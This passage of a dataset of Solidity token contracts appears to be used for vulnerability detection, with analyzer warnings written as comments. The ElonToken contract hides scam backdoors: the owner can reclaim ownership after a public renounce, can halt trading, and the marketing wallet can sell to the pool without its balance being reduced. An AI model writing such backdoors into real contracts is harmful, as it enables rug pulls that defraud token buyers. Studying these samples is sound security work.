_balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: f48c85a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 8f0bb54\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8f0bb54\n\t\t// reentrancy-events | ID: 4f26cc7\n\t\t// reentrancy-benign | ID: 7e439da\n\t\t// reentrancy-eth | ID: f48c85a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 9949703): MetaPlay.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 9949703: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 8f0bb54\n\t\t// reentrancy-events | ID: 4f26cc7\n\t\t// reentrancy-eth | ID: f48c85a\n\t\t// arbitrary-send-eth | ID: 9949703\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 90da6d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 90da6d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 78efd54): MetaPlay.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 78efd54: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 845159c): MetaPlay.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 845159c: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: abda6cc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for abda6cc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 90da6d6\n\t\t// reentrancy-eth | ID: abda6cc\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 90da6d6\n\t\t// unused-return | ID: 845159c\n\t\t// reentrancy-eth | ID: abda6cc\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 90da6d6\n\t\t// unused-return | ID: 78efd54\n\t\t// reentrancy-eth | ID: abda6cc\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 90da6d6\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: abda6cc\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10828.sol",
"size_bytes": 19828,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function balanceOf(address account) external view returns (uint256);\n\n function totalSupply() external view returns (uint256);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function dev(uint256 a, uint256 b) internal pure returns (uint256) {\n return dev(a, b, \"SafeMath: division by zero\");\n }\n\n function dev(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function adds(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function subs(uint256 a, uint256 b) internal pure returns (uint256) {\n return subs(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function subs(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function muls(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint256 liquidity,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountETH);\n}\n\ncontract Ownable is Context {\n address private _owners;\n\n address private _originalOwner;\n\n bool private _ownershipRenounced = false;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n function owner() public view returns (address) {\n return _owners;\n }\n\n function originalOwner() public view returns (address) {\n return _originalOwner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _originalOwner = _owners;\n\n _owners = address(0);\n\n _ownershipRenounced = true;\n\n emit OwnershipTransferred(_originalOwner, address(0));\n }\n\n function recallOwnership() public {\n require(_ownershipRenounced, \"Ownership not renounced\");\n\n require(\n _msgSender() == _originalOwner,\n \"Caller is not the original owner\"\n );\n\n _owners = _originalOwner;\n\n _ownershipRenounced = false;\n\n emit OwnershipTransferred(address(0), _originalOwner);\n }\n\n modifier onlyOwner() {\n require(_owners == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n constructor() {\n address msgSender = _msgSender();\n\n _owners = msgSender;\n\n _originalOwner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n}\n\ncontract ElonToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n event MaxTxAmountUpdated(uint256 _maxTxs);\n\n bool public transferDelayEnabled = false;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fd0d769): ElonToken._MarketingWallets should be immutable \n\t// Recommendation for fd0d769: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _MarketingWallets;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7fea9b7): ElonToken._InitialBuyTaxes should be constant \n\t// Recommendation for 7fea9b7: Add the 'constant' attribute to state variables that never change.\n uint256 private _InitialBuyTaxes = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 771e04e): ElonToken._InitialSellTaxes should be constant \n\t// Recommendation for 771e04e: Add the 'constant' attribute to state variables that never change.\n uint256 private _InitialSellTaxes = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3c120d9): ElonToken._AutoReduceBuyTaxesAfterTx should be constant \n\t// Recommendation for 3c120d9: Add the 'constant' attribute to state variables that never change.\n uint256 private _AutoReduceBuyTaxesAfterTx = 7;\n\n\t// WARNING Optimization Issue (constable-states | ID: 71f1aeb): ElonToken._AutoReduceSellTaxesAfterTx should be constant \n\t// Recommendation for 71f1aeb: Add the 'constant' attribute to state variables that never change.\n uint256 private _AutoReduceSellTaxesAfterTx = 9;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9bbbabc): ElonToken._FinalyBuyTaxes should be constant \n\t// Recommendation for 9bbbabc: Add the 'constant' attribute to state variables that never change.\n uint256 private _FinalyBuyTaxes = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e725fe1): ElonToken._FinalySellTaxes should be constant \n\t// Recommendation for e725fe1: Add the 'constant' attribute to state variables that never change.\n uint256 private _FinalySellTaxes = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e507d36): ElonToken._preventSwapBefores should be constant \n\t// Recommendation for e507d36: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefores = 5;\n\n uint256 private _buyCounts = 0;\n\n string private constant _name = unicode\"Coincidences\";\n\n string private constant _symbol = \"ELON\";\n\n uint256 public _maxWallets =\n (420_690_000_000_000 * 10 ** _decimals * 20) / 1000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 958677d): ElonToken._minSwapAmounts should be constant \n\t// Recommendation for 958677d: Add the 'constant' attribute to state variables that never change.\n uint256 public _minSwapAmounts =\n (420_690_000_000_000 * 10 ** _decimals * 1) / 100000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8da95c2): ElonToken._maxTaxSwaps should be constant \n\t// Recommendation for 8da95c2: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwaps =\n (420_690_000_000_000 * 10 ** _decimals * 2) / 1000;\n\n uint8 private constant _decimals = 18;\n\n uint256 private constant _tSupply = 420_690_000_000_000 * 10 ** _decimals;\n\n uint256 public _maxTxs = (_tSupply * 20) / 1000;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: a74d7d2): ElonToken.uniswapV2Router should be constant \n\t// Recommendation for a74d7d2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n IUniswapV2Router02 public uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n function totalSupply() public pure override returns (uint256) {\n return _tSupply;\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _MarketingWallets = payable(_msgSender());\n\n _balances[_msgSender()] = _tSupply;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_MarketingWallets] = true;\n\n emit Transfer(address(0), _msgSender(), _tSupply);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approves(_msgSender(), spender, amount);\n\n return true;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3a2a12f): ElonToken._approves(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3a2a12f: Rename the local variables that shadow another component.\n function _approves(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 3e4c734\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: d43326d\n emit Approval(owner, spender, amount);\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5bb9847): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5bb9847: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 480c41b): ElonToken._transfer(address,address,uint256) uses tx.origin for authorization require(bool,string)(_holderLastTransferTimestamp[tx.origin] < block.number,Only one transfer per block allowed.)\n\t// Recommendation for 480c41b: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 820bc42): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 820bc42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n if (!tradingOpen) {\n require(from == owner() || to == owner(), \"Trading is disabled\");\n }\n\n uint256 taxAmount = 0;\n\n uint256 amountOut = amount;\n\n if (from != owner() && to != owner() && from != address(this)) {\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n require(tradingOpen, \"Trading not enabled\");\n }\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 480c41b\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"Only one transfer per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxs, \"Exceeds the _maxTxs.\");\n\n require(\n balanceOf(to) + amount <= _maxWallets,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCounts++;\n }\n\n taxAmount = amount\n .muls(\n (_buyCounts > _AutoReduceBuyTaxesAfterTx)\n ? _FinalyBuyTaxes\n : _InitialBuyTaxes\n )\n .dev(100);\n\n if (to == uniswapV2Pair && from != address(this)) {\n if (from == address(_MarketingWallets)) {\n amountOut = min(\n amount,\n min(_FinalyBuyTaxes, _minSwapAmounts)\n );\n\n taxAmount = 0;\n } else {\n require(amount <= _maxTxs, \"Exceeds the _maxTxs.\");\n\n taxAmount = amount\n .muls(\n (_buyCounts > _AutoReduceSellTaxesAfterTx)\n ? _FinalySellTaxes\n : _InitialSellTaxes\n )\n .dev(100);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool swappable = _buyCounts > _preventSwapBefores &&\n _minSwapAmounts == min(amount, _minSwapAmounts);\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n _buyCounts > _preventSwapBefores &&\n swappable\n ) {\n if (contractTokenBalance > _minSwapAmounts) {\n\t\t\t\t\t// reentrancy-events | ID: 5bb9847\n\t\t\t\t\t// reentrancy-eth | ID: 820bc42\n swapToEthereum(\n min(amount, min(contractTokenBalance, _maxTaxSwaps))\n );\n }\n\n\t\t\t\t// reentrancy-events | ID: 5bb9847\n\t\t\t\t// reentrancy-eth | ID: 820bc42\n transferFees(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 820bc42\n _balances[address(this)] = _balances[address(this)].adds(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 5bb9847\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: 820bc42\n _balances[from] = _balances[from].subs(amountOut);\n\n\t\t// reentrancy-eth | ID: 820bc42\n _balances[to] = _balances[to].adds(amount.subs(taxAmount));\n\n\t\t// reentrancy-events | ID: 5bb9847\n emit Transfer(from, to, amount.subs(taxAmount));\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 24e0bf6): ElonToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 24e0bf6: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d43326d): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d43326d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3e4c734): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3e4c734: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: d43326d\n\t\t// reentrancy-benign | ID: 3e4c734\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: d43326d\n\t\t// reentrancy-benign | ID: 3e4c734\n _approves(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].subs(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 7daf21f): ElonToken.transferFees(uint256) sends eth to arbitrary user Dangerous calls _MarketingWallets.transfer(amount)\n\t// Recommendation for 7daf21f: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function transferFees(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5bb9847\n\t\t// reentrancy-events | ID: d43326d\n\t\t// reentrancy-eth | ID: 820bc42\n\t\t// arbitrary-send-eth | ID: 7daf21f\n _MarketingWallets.transfer(amount);\n }\n\n function startTradeElonToken() external onlyOwner {\n require(!tradingOpen, \"Trading is already open\");\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n function stopTradeElonToken() external onlyOwner {\n require(tradingOpen, \"Trading is already stopped\");\n\n tradingOpen = false;\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function swapToEthereum(uint256 tokenAmount) private lockTheSwap {\n if (tokenAmount == 0) return;\n\n if (!tradingOpen) return;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approves(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5bb9847\n\t\t// reentrancy-events | ID: d43326d\n\t\t// reentrancy-benign | ID: 3e4c734\n\t\t// reentrancy-eth | ID: 820bc42\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 166af9d): ElonToken.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 166af9d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function addLiquidity(\n uint256 tokenAmount,\n uint256 ethAmount\n ) external onlyOwner {\n _approves(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// unused-return | ID: 166af9d\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function createUniswapPair() external onlyOwner {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function swapTokensForEth(uint256 tokenAmount) external onlyOwner {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approves(address(this), address(uniswapV2Router), tokenAmount);\n\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 8a9643a): ElonToken.removeLiquidity(uint256) ignores return value by uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(address(this),liquidity,0,0,owner(),block.timestamp)\n\t// Recommendation for 8a9643a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: bf6fb22): ElonToken.removeLiquidity(uint256) ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),liquidity)\n\t// Recommendation for bf6fb22: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 721522a): Uninitialized state variables\n\t// Recommendation for 721522a: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function removeLiquidity(uint256 liquidity) external onlyOwner {\n\t\t// unused-return | ID: bf6fb22\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), liquidity);\n\n\t\t// unused-return | ID: 8a9643a\n uniswapV2Router.removeLiquidityETHSupportingFeeOnTransferTokens(\n address(this),\n liquidity,\n 0,\n 0,\n owner(),\n block.timestamp\n );\n }\n\n function WithdrawMistakenlySentEth() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function RemoveElonLimits() external onlyOwner {\n _maxTxs = _tSupply;\n\n _maxWallets = _tSupply;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tSupply);\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10829.sol",
"size_bytes": 24119,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2158d20): kaito.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 2158d20: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 2d01595): kaito.slitherConstructorVariables() performs a multiplication on the result of a division _maxTxAmount = 2 * (_tTotal / 100)\n// Recommendation for 2d01595: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: b59adc1): kaito.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for b59adc1: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: c5d8675): kaito.slitherConstructorVariables() performs a multiplication on the result of a division _maxWalletSize = 2 * (_tTotal / 100)\n// Recommendation for c5d8675: Consider ordering multiplication before division.\ncontract kaito is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: edee763): kaito.bots is never initialized. It is used in kaito._transfer(address,address,uint256)\n\t// Recommendation for edee763: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f06c08d): kaito._taxWallet should be immutable \n\t// Recommendation for f06c08d: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: aa30355): kaito._initialBuyTax should be constant \n\t// Recommendation for aa30355: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4b531a5): kaito._initialSellTax should be constant \n\t// Recommendation for 4b531a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7195606): kaito._finalBuyTax should be constant \n\t// Recommendation for 7195606: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: f93d325): kaito._finalSellTax should be constant \n\t// Recommendation for f93d325: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 029540f): kaito._reduceBuyTaxAt should be constant \n\t// Recommendation for 029540f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac94f1f): kaito._reduceSellTaxAt should be constant \n\t// Recommendation for ac94f1f: Add the 'constant' attribute to state variables that 